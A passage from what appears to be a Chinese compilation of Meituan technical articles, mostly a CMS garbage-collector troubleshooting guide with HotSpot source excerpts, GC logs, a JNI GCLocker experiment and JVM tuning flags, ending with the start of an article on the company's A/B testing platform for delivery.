  assert(_ct->cld_rem_set()->mod_union_is_clear(), "Must be");
  // Save the end of the used_region of the constituent generations
  // to be used to limit the extent of sweep in each generation.
  save_sweep_limits();
  verify_overflow_empty();
}

void CMSParInitialMarkTask::work(uint worker_id) {
  elapsedTimer _timer;
  ResourceMark rm;
  HandleMark   hm;

  // ---------- scan from roots --------------
  _timer.start();
  CMSHeap* heap = CMSHeap::heap();
  ParMarkRefsIntoClosure par_mri_cl(_collector->_span, &(_collector->_
markBitMap));

  // ---------- young gen roots --------------
  {
    work_on_young_gen_roots(&par_mri_cl);
    _timer.stop();
    log_trace(gc, task)("Finished young gen initial mark scan work in 
%dth thread: %3.3f sec", worker_id, _timer.seconds());
  }

  // ---------- remaining roots --------------
  _timer.reset();
  _timer.start();

  CLDToOopClosure cld_closure(&par_mri_cl, true);

  heap->cms_process_roots(_strong_roots_scope,
                          false,     // yg was scanned above
                          GenCollectedHeap::ScanningOption(_collector-
>CMSCollector::roots_scanning_options()),
                          _collector->should_unload_classes(),
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                          &par_mri_cl,
                          &cld_closure,
                          &_par_state_string);

  assert(_collector->should_unload_classes()
         || (_collector->CMSCollector::roots_scanning_options() & 
GenCollectedHeap::SO_AllCodeCache),
         "if we didn't scan the code cache, we have to be ready to 
drop nmethods with expired weak oops");
  _timer.stop();
  log_trace(gc, task)("Finished remaining root initial mark scan work 
in %dth thread: %3.3f sec", worker_id, _timer.seconds());
}

整个过程比较简单，从 GC Root 出发标记 Old 中的对象，处理完成后借助 BitMap 

处理下 Young 区对 Old 区的引用，整个过程基本都比较快，很少会有较大的停顿。

 ● CMS Final Remark 执 行 步 骤， 实 现 在 CMSCollector::checkpoin-

tRootsFinalWork() 中，整体代码和步骤如下：

void CMSCollector::checkpointRootsFinalWork() {
  GCTraceTime(Trace, gc, phases) tm("checkpointRootsFinalWork", _gc_
timer_cm);

  assert(haveFreelistLocks(), "must have free list locks");
  assert_lock_strong(bitMapLock());

  ResourceMark rm;
  HandleMark   hm;

  CMSHeap* heap = CMSHeap::heap();

  if (should_unload_classes()) {
    CodeCache::gc_prologue();
  }
  assert(haveFreelistLocks(), "must have free list locks");
  assert_lock_strong(bitMapLock());

  heap->ensure_parsability(false);  // fill TLAB's, but no need to 
retire them
  // Update the saved marks which may affect the root scans.
  heap->save_marks();
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  print_eden_and_survivor_chunk_arrays();

  {
    if (CMSParallelRemarkEnabled) {
      GCTraceTime(Debug, gc, phases) t("Rescan (parallel)", _gc_timer_
cm);
      do_remark_parallel();
    } else {
      GCTraceTime(Debug, gc, phases) t("Rescan (non-parallel)", _gc_
timer_cm);
      do_remark_non_parallel();
    }
  }
  verify_work_stacks_empty();
  verify_overflow_empty();

  {
    GCTraceTime(Trace, gc, phases) ts("refProcessingWork", _gc_timer_
cm);
    refProcessingWork();
  }
  verify_work_stacks_empty();
  verify_overflow_empty();

  if (should_unload_classes()) {
    CodeCache::gc_epilogue();
  }
  JvmtiExport::gc_epilogue();
  assert(_markStack.isEmpty(), "No grey objects");
  size_t ser_ovflw = _ser_pmc_remark_ovflw + _ser_pmc_preclean_ovflw +
                     _ser_kac_ovflw        + _ser_kac_preclean_ovflw;
  if (ser_ovflw > 0) {
    log_trace(gc)("Marking stack overflow (benign) (pmc_pc=" SIZE_
FORMAT ", pmc_rm=" SIZE_FORMAT ", kac=" SIZE_FORMAT ", kac_preclean=" 
SIZE_FORMAT ")",
                         _ser_pmc_preclean_ovflw, _ser_pmc_remark_ovflw, 
_ser_kac_ovflw, _ser_kac_preclean_ovflw);
    _markStack.expand();
    _ser_pmc_remark_ovflw = 0;
    _ser_pmc_preclean_ovflw = 0;
    _ser_kac_preclean_ovflw = 0;
    _ser_kac_ovflw = 0;
  }
  if (_par_pmc_remark_ovflw > 0 || _par_kac_ovflw > 0) {
     log_trace(gc)("Work queue overflow (benign) (pmc_rm=" SIZE_FORMAT 
", kac=" SIZE_FORMAT ")",
                          _par_pmc_remark_ovflw, _par_kac_ovflw);
     _par_pmc_remark_ovflw = 0;
    _par_kac_ovflw = 0;
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  }
   if (_markStack._hit_limit > 0) {
     log_trace(gc)(" (benign) Hit max stack size limit (" SIZE_FORMAT 
")",
                          _markStack._hit_limit);
   }
   if (_markStack._failed_double > 0) {
     log_trace(gc)(" (benign) Failed stack doubling (" SIZE_FORMAT "), 
current capacity " SIZE_FORMAT,
                          _markStack._failed_double, _markStack.
capacity());
   }
  _markStack._hit_limit = 0;
  _markStack._failed_double = 0;

  if ((VerifyAfterGC || VerifyDuringGC) &&
      CMSHeap::heap()->total_collections() >= VerifyGCStartAt) {
    verify_after_remark();
  }

  _gc_tracer_cm->report_object_count_after_gc(&_is_alive_closure);

  // Change under the freelistLocks.
  _collectorState = Sweeping;
  // Call isAllClear() under bitMapLock
  assert(_modUnionTable.isAllClear(),
      "Should be clear by end of the final marking");
  assert(_ct->cld_rem_set()->mod_union_is_clear(),
      "Should be clear by end of the final marking");
}

Final Remark 是最终的第二次标记，这种情况只有在 Background GC 执行了 

InitialMarking 步骤的情形下才会执行，如果是 Foreground GC 执行的 Initial-

Marking 步骤则不需要再次执行 FinalRemark。Final Remark 的开始阶段与 Init 

Mark 处理的流程相同，但是后续多了 Card Table 遍历、Reference 实例的清理并

将其加入到 Reference 维护的 pend_list 中，如果要收集元数据信息，还要清理 

SystemDictionary、CodeCache、SymbolTable、StringTable 等组件中不再使

用的资源。
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4.6.3	策略

知道了两个 STW 过程执行流程，我们分析解决就比较简单了，由于大部分问题都出

在 Final Remark 过程，这里我们也拿这个场景来举例，主要步骤：

 ●【方向】 观 察 详 细 GC 日 志， 找 到 出 问 题 时 Final Remark 日 志， 分 析

下 Reference 处理和元数据处理 real 耗时是否正常，详细信息需要通过 

-XX:+PrintReferenceGC 参数开启。基本在日志里面就能定位到大概是哪

个方向出了问题，耗时超过	10%	的就需要关注。

2019-02-27T19:55:37.920+0800: 516952.915: [GC (CMS Final Remark) 
516952.915: [ParNew516952.939: [SoftReference, 0 refs, 0.0003857 
secs]516952.939: [WeakReference, 1362 refs, 0.0002415 secs]516952.940: 
[FinalReference, 146 refs, 0.0001233 secs]516952.940: [PhantomReference, 
0 refs, 57 refs, 0.0002369 secs]516952.940: [JNI Weak Reference, 
0.0000662 secs]
[class unloading, 0.1770490 secs]516953.329: [scrub symbol table, 
0.0442567 secs]516953.373: [scrub string table, 0.0036072 secs][1 CMS-
remark: 1638504K(2048000K)] 1667558K(4352000K), 0.5269311 secs] [Times: 
user=1.20 sys=0.03, real=0.53 secs]

 ●【根因】 有了具体的方向我们就可以进行深入的分析，一般来说最容易出问题

的地方就是 Reference 中的 FinalReference 和元数据信息处理中的 scrub 

symbol table 两个阶段，想要找到具体问题代码就需要内存分析工具 MAT 或 

JProfiler 了，注意要 dump 即将开始 CMS GC 的堆。在用 MAT 等工具前也

可以先用命令行看下对象 Histogram，有可能直接就能定位问题。

 ○ 对 FinalReference 的分析主要观察 java.lang.ref.Finalizer 对象

的 dominator tree，找到泄漏的来源。经常会出现问题的几个点有 Socket 

的 SocksSocketImpl 、Jersey 的 ClientRuntime、MySQL 的 

ConnectionImpl 等等。

 ○ scrub symbol table 表示清理元数据符号引用耗时，符号引用是 Java 代

码被编译成字节码时，方法在 JVM 中的表现形式，生命周期一般与 Class 

一致，当 _should_unload_classes 被设置为 true 时在 CMSCollec-

tor::refProcessingWork() 中与 Class Unload、String Table 一起

被处理。



后台　<　347

if (should_unload_classes()) {
    {
      GCTraceTime(Debug, gc, phases) t("Class Unloading", _gc_timer_cm);

      // Unload classes and purge the SystemDictionary.
      bool purged_class = SystemDictionary::do_unloading(_gc_timer_cm);

      // Unload nmethods.
      CodeCache::do_unloading(&_is_alive_closure, purged_class);

      // Prune dead klasses from subklass/sibling/implementor lists.
      Klass::clean_weak_klass_links(purged_class);
    }

    {
      GCTraceTime(Debug, gc, phases) t("Scrub Symbol Table", _gc_timer_cm);
      // Clean up unreferenced symbols in symbol table.
      SymbolTable::unlink();
    }

    {
      GCTraceTime(Debug, gc, phases) t("Scrub String Table", _gc_timer_
cm);
      // Delete entries for dead interned strings.
      StringTable::unlink(&_is_alive_closure);
    }
  }

 ●【策略】 知道 GC 耗时的根因就比较好处理了，这种问题不会大面积同时爆发，

不过有很多时候单台 STW 的时间会比较长，如果业务影响比较大，及时摘掉

流量，具体后续优化策略如下：

 ○ FinalReference：找到内存来源后通过优化代码的方式来解决，如果短时间

无法定位可以增加 -XX:+ParallelRefProcEnabled 对 Reference 进行

并行处理。

 ○ symbol table：观察 MetaSpace 区的历史使用峰值，以及每次 GC 前

后的回收情况，一般没有使用动态类加载或者 DSL 处理等，MetaSpace 

的使用率上不会有什么变化，这种情况可以通过 -XX:-CMSClassUn-

loadingEnabled 来 避 免 MetaSpace 的 处 理，JDK8 会 默 认 开 启 

CMSClassUnloadingEnabled，这会使得 CMS 在 CMS-Remark 阶

段尝试进行类的卸载。
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4.6.4	小结

正常情况进行的 Background CMS GC，出现问题基本都集中在 Reference 和 

Class 等元数据处理上，在 Reference 类的问题处理方面，不管是 FinalRefer-

ence，还是 SoftReference、WeakReference 核心的手段就是找准时机 dump 快

照，然后用内存分析工具来分析。Class 处理方面目前除了关闭类卸载开关，没有太

好的方法。

在 G1 中同样有 Reference 的问题，可以观察日志中的 Ref Proc，处理方法与 

CMS 类似。

4.7	场景七：内存碎片&收集器退化

4.7.1	现象

并发的 CMS GC 算法，退化为 Foreground 单线程串行 GC 模式，STW 时间超

长，有时会长达十几秒。其中 CMS 收集器退化后单线程串行 GC 算法有两种：

 ● 带压缩动作的算法，称为 MSC，上面我们介绍过，使用标记 - 清理 - 压

缩，单线程全暂停的方式，对整个堆进行垃圾收集，也就是真正意义上的 Full 

GC，暂停时间要长于普通 CMS。

 ● 不带压缩动作的算法，收集 Old 区，和普通的 CMS 算法比较相似，暂停时间

相对 MSC 算法短一些。

4.7.2	原因

CMS 发生收集器退化主要有以下几种情况：

晋升失败（Promotion	Failed）

顾名思义，晋升失败就是指在进行 Young GC 时，Survivor 放不下，对象只能放

入 Old，但此时 Old 也放不下。直觉上乍一看这种情况可能会经常发生，但其实

因为有 concurrentMarkSweepThread 和担保机制的存在，发生的条件是很苛刻

的，除非是短时间将 Old 区的剩余空间迅速填满，例如上文中说的动态年龄判断导
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致的过早晋升（见下文的增量收集担保失败）。另外还有一种情况就是内存碎片导致的 

Promotion Failed，Young GC 以为 Old 有足够的空间，结果到分配时，晋级的大

对象找不到连续的空间存放。

使用 CMS 作为 GC 收集器时，运行过一段时间的 Old 区如下图所示，清除算法导

致内存出现多段的不连续，出现大量的内存碎片。

碎片带来了两个问题：

 ● 空间分配效率较低：上文已经提到过，如果是连续的空间 JVM 可以通过使用 

pointer bumping 的方式来分配，而对于这种有大量碎片的空闲链表则需要逐

个访问 freelist 中的项来访问，查找可以存放新建对象的地址。

 ● 空间利用效率变低：Young 区晋升的对象大小大于了连续空间的大小，那么将

会触发 Promotion Failed ，即使整个 Old 区的容量是足够的，但由于其不连

续，也无法存放新对象，也就是本文所说的问题。

增量收集担保失败

分配内存失败后，会判断统计得到的 Young GC 晋升到 Old 的平均大小，以及当前 

Young 区已使用的大小也就是最大可能晋升的对象大小，是否大于 Old 区的剩余空

间。只要 CMS 的剩余空间比前两者的任意一者大，CMS 就认为晋升还是安全的，

反之，则代表不安全，不进行 Young GC，直接触发 Full GC。

显式	GC

这种情况参见场景二。
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并发模式失败（Concurrent	Mode	Failure）

最后一种情况，也是发生概率较高的一种，在 GC 日志中经常能看到 Concurrent 

Mode Failure 关键字。这种是由于并发 Background CMS GC 正在执行，同时又

有 Young GC 晋升的对象要放入到了 Old 区中，而此时 Old 区空间不足造成的。

为什么 CMS GC 正在执行还会导致收集器退化呢？主要是由于 CMS 无法处理浮动

垃圾（Floating Garbage）引起的。CMS 的并发清理阶段，Mutator 还在运行，因

此不断有新的垃圾产生，而这些垃圾不在这次清理标记的范畴里，无法在本次 GC 被

清除掉，这些就是浮动垃圾，除此之外在 Remark 之前那些断开引用脱离了读写屏

障控制的对象也算浮动垃圾。所以 Old 区回收的阈值不能太高，否则预留的内存空间

很可能不够，从而导致 Concurrent Mode Failure 发生。

4.7.3	策略

分析到具体原因后，我们就可以针对性解决了，具体思路还是从根因出发，具体解决

策略：

 ● 内存碎片： 通过配置 -XX:UseCMSCompactAtFullCollection=true 来控

制 Full GC 的过程中是否进行空间的整理（默认开启，注意是 Full GC，不是

普通 CMS GC），以及 -XX: CMSFullGCsBeforeCompaction=n 来控制

多少次 Full GC 后进行一次压缩。

 ● 增量收集： 降低触发 CMS GC 的阈值，即参数 -XX:CMSInitiatingOccu-

pancyFraction 的值，让 CMS GC 尽早执行，以保证有足够的连续空间，

也减少 Old 区空间的使用大小，另外需要使用 -XX:+UseCMSInitiatingO-

ccupancyOnly 来配合使用，不然 JVM 仅在第一次使用设定值，后续则自动

调整。

 ● 浮动垃圾： 视情况控制每次晋升对象的大小，或者缩短每次 CMS GC 的时间，

必要时可调节 NewRatio 的值。另外就是使用 -XX:+CMSScavengeBefore-

Remark 在过程中提前触发一次 Young GC，防止后续晋升过多对象。
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4.7.4	小结

正常情况下触发并发模式的 CMS GC，停顿非常短，对业务影响很小，但 CMS 

GC 退化后，影响会非常大，建议发现一次后就彻底根治。只要能定位到内存碎

片、浮动垃圾、增量收集相关等具体产生原因，还是比较好解决的，关于内存碎片

这块，如果 -XX:CMSFullGCsBeforeCompaction 的值不好选取的话，可以使用 

-XX:PrintFLSStatistics 来观察内存碎片率情况，然后再设置具体的值。

最后就是在编码的时候也要避免需要连续地址空间的大对象的产生，如过长的字符

串，用于存放附件、序列化或反序列化的 byte 数组等，还有就是过早晋升问题尽量

在爆发问题前就避免掉。

4.8	场景八：堆外内存	OOM

4.8.1	现象

内存使用率不断上升，甚至开始使用 SWAP 内存，同时可能出现 GC 时间飙升，线

程被 Block 等现象，通过	top	命令发现	Java	进程的	RES	甚至超过了	-Xmx	的大

小。出现这些现象时，基本可以确定是出现了堆外内存泄漏。

4.8.2	原因

JVM 的堆外内存泄漏，主要有两种的原因：

 ● 通过 UnSafe#allocateMemory，ByteBuffer#allocateDirect 主动申

请了堆外内存而没有释放，常见于 NIO、Netty 等相关组件。

 ● 代码中有通过 JNI 调用 Native Code 申请的内存没有释放。

4.8.3	策略

哪种原因造成的堆外内存泄漏？

首先，我们需要确定是哪种原因导致的堆外内存泄漏。这里可以使用 NMT（Native-

MemoryTracking） 进行分析。在项目中添加 -XX:NativeMemoryTracking=de-

tail JVM 参数后重启项目（需要注意的是，打开 NMT 会带来 5%~10% 的性能损

https://docs.oracle.com/javase/8/docs/technotes/guides/troubleshoot/tooldescr007.html
https://docs.oracle.com/javase/8/docs/technotes/guides/troubleshoot/tooldescr007.html
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耗）。使用命令 jcmd pid VM.native_memory detail 查看内存分布。重点观察 

total 中的 committed，因为 jcmd 命令显示的内存包含堆内内存、Code 区域、通

过 Unsafe.allocateMemory 和 DirectByteBuffer 申请的内存，但是不包含其

他 Native Code（C 代码）申请的堆外内存。

如果 total 中的 committed 和 top 中的 RES 相差不大，则应为主动申请的堆外内存

未释放造成的，如果相差较大，则基本可以确定是 JNI 调用造成的。

原因一：主动申请未释放

JVM 使用 -XX:MaxDirectMemorySize=size 参数来控制可申请的堆外内存的最

大值。在 Java8 中，如果未配置该参数，默认和 -Xmx 相等。

NIO 和 Netty 都会取 -XX:MaxDirectMemorySize 配置的值，来限制申请的堆外

内存的大小。NIO 和 Netty 中还有一个计数器字段，用来计算当前已申请的堆外内存

大小，NIO 中是 java.nio.Bits#totalCapacity、Netty 中 io.netty.util.

internal.PlatformDependent#DIRECT_MEMORY_COUNTER。

当申请堆外内存时，NIO 和 Netty 会比较计数器字段和最大值的大小，如果计数器的

值超过了最大值的限制，会抛出 OOM 的异常。

NIO 中是：OutOfMemoryError: Direct buffer memory。

Netty 中是：OutOfDirectMemoryError: failed to allocate capacity 

byte(s) of direct memory (used: usedMemory , max: DIRECT_

MEMORY_LIMIT )。

我们可以检查代码中是如何使用堆外内存的，NIO 或者是 Netty，通过反射，获取到

对应组件中的计数器字段，并在项目中对该字段的数值进行打点，即可准确地监控到

这部分堆外内存的使用情况。

此时，可以通过 Debug 的方式确定使用堆外内存的地方是否正确执行了释放内存的

代码。另外，需要检查 JVM 的参数是否有 -XX:+DisableExplicitGC 选项，如
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果有就去掉，因为该参数会使 System.gc 失效。（场景二：显式 GC 的去与留）

原因二：通过	JNI	调用的	Native	Code	申请的内存未释放

这种情况排查起来比较困难，我们可以通过 Google perftools + Btrace 等工具，帮

助我们分析出问题的代码在哪里。

gperftools 是 Google 开发的一款非常实用的工具集，它的原理是在 Java 应用

程序运行时，当调用 malloc 时换用它的 libtcmalloc.so，这样就能对内存分配情

况做一些统计。我们使用 gperftools 来追踪分配内存的命令。如下图所示，通过 

gperftools 发现 Java_java_util_zip_Inflater_init 比较可疑。

接下来可以使用 Btrace，尝试定位具体的调用栈。Btrace 是 Sun 推出的一款 Java 追

踪、监控工具，可以在不停机的情况下对线上的 Java 程序进行监控。如下图所示，通

过 Btrace 定位出项目中的 ZipHelper 在频繁调用 GZIPInputStream ，在堆外内存

分配对象。
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最终定位到是，项目中对 GIPInputStream 的使用错误，没有正确的 close()。

除了项目本身的原因，还可能有外部依赖导致的泄漏，如 Netty 和 Spring Boot，详

细情况可以学习下这两篇文章，Spring Boot 引起的“堆外内存泄漏”排查及经验总

结、Netty 堆外内存泄露排查盛宴。

4.8.4	小结

首先可以使用 NMT + jcmd 分析泄漏的堆外内存是哪里申请，确定原因后，使用不

同的手段，进行原因定位。

https://tech.meituan.com/2019/01/03/spring-boot-native-memory-leak.html
https://tech.meituan.com/2019/01/03/spring-boot-native-memory-leak.html
https://tech.meituan.com/2018/10/18/netty-direct-memory-screening.html
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4.9	场景九：JNI	引发的	GC	问题

4.9.1	现象

在 GC 日志中，出现 GC Cause 为 GCLocker Initiated GC。

2020-09-23T16:49:09.727+0800: 504426.742: [GC (GCLocker Initiated GC) 
504426.742: [ParNew (promotion failed): 209716K->6042K(1887488K), 
0.0843330 secs] 1449487K->1347626K(3984640K), 0.0848963 secs] [Times: 
user=0.19 sys=0.00, real=0.09 secs]
2020-09-23T16:49:09.812+0800: 504426.827: [Full GC (GCLocker Initiated 
GC) 504426.827: [CMS: 1341583K->419699K(2097152K), 1.8482275 secs] 
1347626K->419699K(3984640K), [Metaspace: 297780K->297780K(1329152K)], 
1.8490564 secs] [Times: user=1.62 sys=0.20, real=1.85 secs]

4.9.2	原因

JNI（Java Native Interface）意为 Java 本地调用，它允许 Java 代码和其他语言写

的 Native 代码进行交互。

JNI 如果需要获取 JVM 中的 String 或者数组，有两种方式：

 ● 拷贝传递。

 ● 共享引用（指针），性能更高。

由于 Native 代码直接使用了 JVM 堆区的指针，如果这时发生 GC，就会导致数据

错误。因此，在发生此类 JNI 调用时，禁止 GC 的发生，同时阻止其他线程进入 JNI 

临界区，直到最后一个线程退出临界区时触发一次 GC。
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GC Locker 实验：

public class GCLockerTest {

  static final int ITERS = 100;
  static final int ARR_SIZE =  10000;
  static final int WINDOW = 10000000;

  static native void acquire(int[] arr);
  static native void release(int[] arr);

  static final Object[] window = new Object[WINDOW];

  public static void main(String... args) throws Throwable {
    System.loadLibrary("GCLockerTest");
    int[] arr = new int[ARR_SIZE];

    for (int i = 0; i < ITERS; i++) {
      acquire(arr);
      System.out.println("Acquired");
      try {
        for (int c = 0; c < WINDOW; c++) {
          window[c] = new Object();
        }
      } catch (Throwable t) {
        // omit
      } finally {
        System.out.println("Releasing");
        release(arr);
      }
    }
  }
}

#include <jni.h>
#include "GCLockerTest.h"

static jbyte* sink;

JNIEXPORT void JNICALL Java_GCLockerTest_acquire(JNIEnv* env, jclass 
klass, jintArray arr) {
sink = (*env)->GetPrimitiveArrayCritical(env, arr, 0);
}

JNIEXPORT void JNICALL Java_GCLockerTest_release(JNIEnv* env, jclass 
klass, jintArray arr) {
(*env)->ReleasePrimitiveArrayCritical(env, arr, sink, 0);
}
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运行该 JNI 程序，可以看到发生的 GC 都是 GCLocker Initiated GC，并且注意在 

“Acquired” 和 “Released” 时不可能发生 GC。

GC Locker 可能导致的不良后果有：

 ● 如果此时是 Young 区不够 Allocation Failure 导致的 GC，由于无法进行 

Young GC，会将对象直接分配至 Old 区。

 ● 如果 Old 区也没有空间了，则会等待锁释放，导致线程阻塞。

 ● 可能触发额外不必要的 Young GC，JDK 有一个 Bug，有一定的几率，本

来 只 该 触 发 一 次 GCLocker Initiated GC 的 Young GC， 实 际 发 生 了 一

次 Allocation Failure GC 又紧接着一次 GCLocker Initiated GC。是因为 

GCLocker Initiated GC 的属性被设为 full，导致两次 GC 不能收敛。

4.9.3	策略

 ● 添加 -XX+PrintJNIGCStalls 参数，可以打印出发生 JNI 调用时的线程，

进一步分析，找到引发问题的 JNI 调用。

 ● JNI 调用需要谨慎，不一定可以提升性能，反而可能造成 GC 问题。

 ● 升级 JDK 版本到 14，避免 JDK-8048556 导致的重复 GC。

https://bugs.openjdk.java.net/browse/JDK-8048556
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4.9.4	小结

JNI 产生的 GC 问题较难排查，需要谨慎使用。

5. 总结

在这里，我们把整个文章内容总结一下，方便大家整体地理解回顾。

5.1	处理流程（SOP）

下图为整体 GC 问题普适的处理流程，重点的地方下面会单独标注，其他的基本都是

标准处理流程，此处不再赘述，最后在整个问题都处理完之后有条件的话建议做一下

复盘。

 ● 制定标准： 这块内容其实非常重要，但大部分系统都是缺失的，笔者过往面试

的同学中只有不到一成的同学能给出自己的系统 GC 标准到底什么样，其他的

都是用的统一指标模板，缺少预见性，具体指标制定可以参考 3.1 中的内容，
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需要结合应用系统的 TP9999 时间和延迟、吞吐量等设定具体的指标，而不

是被问题驱动。

 ● 保留现场： 目前线上服务基本都是分布式服务，某个节点发生问题后，如果条

件允许一定不要直接操作重启、回滚等动作恢复，优先通过摘掉流量的方式来

恢复，这样我们可以将堆、栈、GC 日志等关键信息保留下来，不然错过了定

位根因的时机，后续解决难度将大大增加。当然除了这些，应用日志、中间件

日志、内核日志、各种 Metrics 指标等对问题分析也有很大帮助。

 ● 因果分析： 判断 GC 异常与其他系统指标异常的因果关系，可以参考笔者在 

3.2 中介绍的时序分析、概率分析、实验分析、反证分析等 4 种因果分析法，

避免在排查过程中走入误区。

 ● 根因分析： 确实是 GC 的问题后，可以借助上文提到的工具并通过 5 why 根因

分析法以及跟第三节中的九种常见的场景进行逐一匹配，或者直接参考下文的

根因鱼骨图，找出问题发生根因，最后再选择优化手段。

5.2	根因鱼骨图

送上一张问题根因鱼骨图，一般情况下我们在处理一个 GC 问题时，只要能定位到

问题的“病灶”，有的放矢，其实就相当于解决了 80%，如果在某些场景下不太好定

位，大家可以借助这种根因分析图通过排除法去定位。
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5.3	调优建议

 ● Trade	Off： 与 CAP 注定要缺一角一样，GC 优化要在延迟（Latency）、吞

吐量（Throughput）、容量（Capacity）三者之间进行权衡。

 ● 最终手段： GC 发生问题不是一定要对 JVM 的 GC 参数进行调优，大部分情

况下是通过 GC 的情况找出一些业务问题，切记上来就对 GC 参数进行调整，

当然有明确配置错误的场景除外。

 ● 控制变量： 控制变量法是在蒙特卡洛（Monte Carlo）方法中用于减少方差的一种

技术方法，我们调优的时候尽量也要使用，每次调优过程尽可能只调整一个变量。

 ● 善用搜索： 理论上 99.99% 的 GC 问题基本都被遇到了，我们要学会使用搜索

引擎的高级技巧，重点关注 StackOverFlow、Github 上的 Issue、以及各种

论坛博客，先看看其他人是怎么解决的，会让解决问题事半功倍。能看到这篇

文章，你的搜索能力基本过关了 ~

 ● 调优重点： 总体上来讲，我们开发的过程中遇到的问题类型也基本都符合正态

分布，太简单或太复杂的基本遇到的概率很低，笔者这里将中间最重要的三个
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场景添加了“*”标识，希望阅读完本文之后可以观察下自己负责的系统，是

否存在上述问题。

 ● GC	参数： 如果堆、栈确实无法第一时间保留，一定要保留 GC 日志，这样我

们最起码可以看到 GC Cause，有一个大概的排查方向。关于 GC 日志相关

参数，最基本的 -XX:+HeapDumpOnOutOfMemoryError 等一些参数就不再

提了，笔者建议添加以下参数，可以提高我们分析问题的效率。

 ● 其他建议： 上文场景中没有提到，但是对 GC 性能也有提升的一些建议。

 ○ 主动式	GC： 也有另开生面的做法，通过监控手段监控观测 Old 区的使用情

况，即将到达阈值时将应用服务摘掉流量，手动触发一次 Major GC，减少 

CMS GC 带来的停顿，但随之系统的健壮性也会减少，如非必要不建议引入。

 ○ 禁用偏向锁： 偏向锁在只有一个线程使用到该锁的时候效率很高，但是在

竞争激烈情况会升级成轻量级锁，此时就需要先消除偏向锁，这个过程是	

STW 的。如果每个同步资源都走这个升级过程，开销会非常大，所以在已

知并发激烈的前提下，一般会禁用偏向锁 -XX:-UseBiasedLocking 来提

高性能。

 ○ 虚拟内存： 启动初期有些操作系统（例如 Linux）并没有真正分配物理内存给 

JVM ，而是在虚拟内存中分配，使用的时候才会在物理内存中分配内存页，

这样也会导致 GC 时间较长。这种情况可以添加 -XX:+AlwaysPreTouch 

参数，让 VM 在 commit 内存时跑个循环来强制保证申请的内存真的 

commit，避免运行时触发缺页异常。在一些大内存的场景下，有时候能将前几

次的 GC 时间降一个数量级，但是添加这个参数后，启动的过程可能会变慢。
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6. 写在最后

最后，再说笔者个人的一些小建议，遇到一些 GC 问题，如果有精力，一定要探本穷

源，找出最深层次的原因。另外，在这个信息泛滥的时代，有一些被“奉为圭臬”的

经验可能都是错误的，尽量养成看源码的习惯，有一句话说到“源码面前，了无秘

密”，也就意味着遇到搞不懂的问题，我们可以从源码中一窥究竟，某些场景下确有

奇效。但也不是只靠读源码来学习，如果硬啃源码但不理会其背后可能蕴含的理论基

础，那很容易“捡芝麻丢西瓜”，“只见树木，不见森林”，让“了无秘密”变成了一

句空话，我们还是要结合一些实际的业务场景去针对性地学习。

你的时间在哪里，你的成就就会在哪里。笔者也是在前两年才开始逐步地在 GC 方向

上不断深入，查问题、看源码、做总结，每个 Case 形成一个小的闭环，目前初步摸

到了 GC 问题处理的一些门道，同时将经验总结应用于生产环境实践，慢慢地形成一

个良性循环。

本篇文章主要是介绍了 CMS GC 的一些常见场景分析，另外一些，如 CodeCache 

问题导致 JIT 失效、SafePoint 就绪时间长、Card Table 扫描耗时等问题不太常

见就没有花太多篇幅去讲解。Java GC 是在“分代”的思想下内卷了很多年才突破

到了“分区”，目前在美团也已经开始使用 G1 来替换使用了多年的 CMS，虽然在

小的堆方面 G1 还略逊色于 CMS，但这是一个趋势，短时间无法升级到 ZGC，所

以未来遇到的 G1 的问题可能会逐渐增多。目前已经收集到 Remember Set 粗化、

Humongous 分配、Ergonomics 异常、Mixed GC 中 Evacuation Failure 等问

题，除此之外也会给出 CMS 升级到 G1 的一些建议，接下来笔者将继续完成这部分

文章整理，敬请期待。

“防火”永远要胜于“救火”，不放过任何一个异常的小指标（一般来说，任何不平

滑的曲线都是值得怀疑的） ，就有可能避免一次故障的发生。作为 Java 程序员基本

都会遇到一些 GC 的问题，独立解决 GC 问题是我们必须迈过的一道坎。开篇中也

提到过 GC 作为经典的技术，非常值得我们学习，一些 GC 的学习材料，如《The 

Garbage Collection Handbook》《深入理解 Java 虚拟机》等也是常读常新，赶紧
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动起来，苦练 GC 基本功吧。

最后的最后，再多啰嗦一句，目前所有 GC 调优相关的文章，第一句讲的就是“不要

过早优化”，使得很多同学对 GC 优化望而却步。在这里笔者提出不一样的观点，熵

增定律（在一个孤立系统里，如果没有外力做功，其总混乱度（即熵）会不断增大）在

计算机系统同样适用，如果不主动做功使熵减，系统终究会脱离你的掌控，在我们对

业务系统和 GC 原理掌握得足够深的时候，可以放心大胆地做优化，因为我们基本可

以预测到每一个操作的结果，放手一搏吧，少年！
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美团配送A/B评估体系建设实践

作者：王鹏　启政　连恒

2019 年 5 月 6 日，美团点评正式推出新品牌“美团配送”，发布了美团配送新愿景：

“每天完成一亿次值得信赖的配送服务，成为不可或缺的生活基础设施。”现在，美团

配送已经服务于全国 400 多万商家和 4 亿多用户，覆盖 2800 余座市县，日活跃骑

手超过 70 万人，成为全球领先的分钟级配送网络。

即时配送的三要素是“效率”、“成本”、“体验”，通过精细化的策略迭代来提升效率，

降低成本，提高体验，不断地扩大规模优势，从而实现正向循环。但是，策略的改

变，不是由我们随便“拍脑袋”得出，而是一种建立在数据基础上的思维方式，数据

反馈会告诉我们做的好不好，哪里有问题，以及衡量可以带来多少确定性的增长。而

A/B-test 就是我们精细化迭代的一个“利器”，通过为同一个迭代目标制定两个或多

个版本的方案，在同一时间维度，让组成成分相同（或相似）的 A/B 群组分别采用这

些版本，然后收集各群组的体验数据和业务数据，最后分析、评估出最好的版本，帮

助我们作出正确的决策，使迭代朝着更好的方向去演进。基于此，构建一个适用于配

送业务的 A/B 平台就应运而生了。

1. A/B 平台简介
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如上图所示，A/B 实验可以看作一个“无尽”的学习环，我们通过提出假设、定义成

功指标、检验假设（A/B 实验）、分析学习、发布、建立另一个假设，这就形成一个完

整的闭环，通过多轮实验迭代，使策略趋于更优。基于上述对 A/B 实验划分的 5 个

步骤，我们将 A/B 实验的完整生命周期分为三个阶段：

 ● 实验前，提出该实验假设，定义实验成功的指标，确定分流策略；

 ● 实验中，即验证假设的阶段，根据配置阶段的分流策略进行分流和埋点上报；

 ● 实验后，进行实验分析与学习，并基于实验报告决定是否发布。

按照功能划分，我们将 A/B 平台分为三个模块，实验配置管理模块、分流以及埋点上

报模块和在线分析模块，分别对应于 A/B 实验生命周期的实验前、实验中和实验后

三个阶段。在实验配置模块，用户可以基于实验前提出的假设、定义的成功指标快速

创建实验，并基于特定的分流策略完成分流配置；分流以及埋点上报模块，提供 JAR

包接入的形式，异步获取实验配置进行本地分流计算和埋点上报；在线分析模块，依

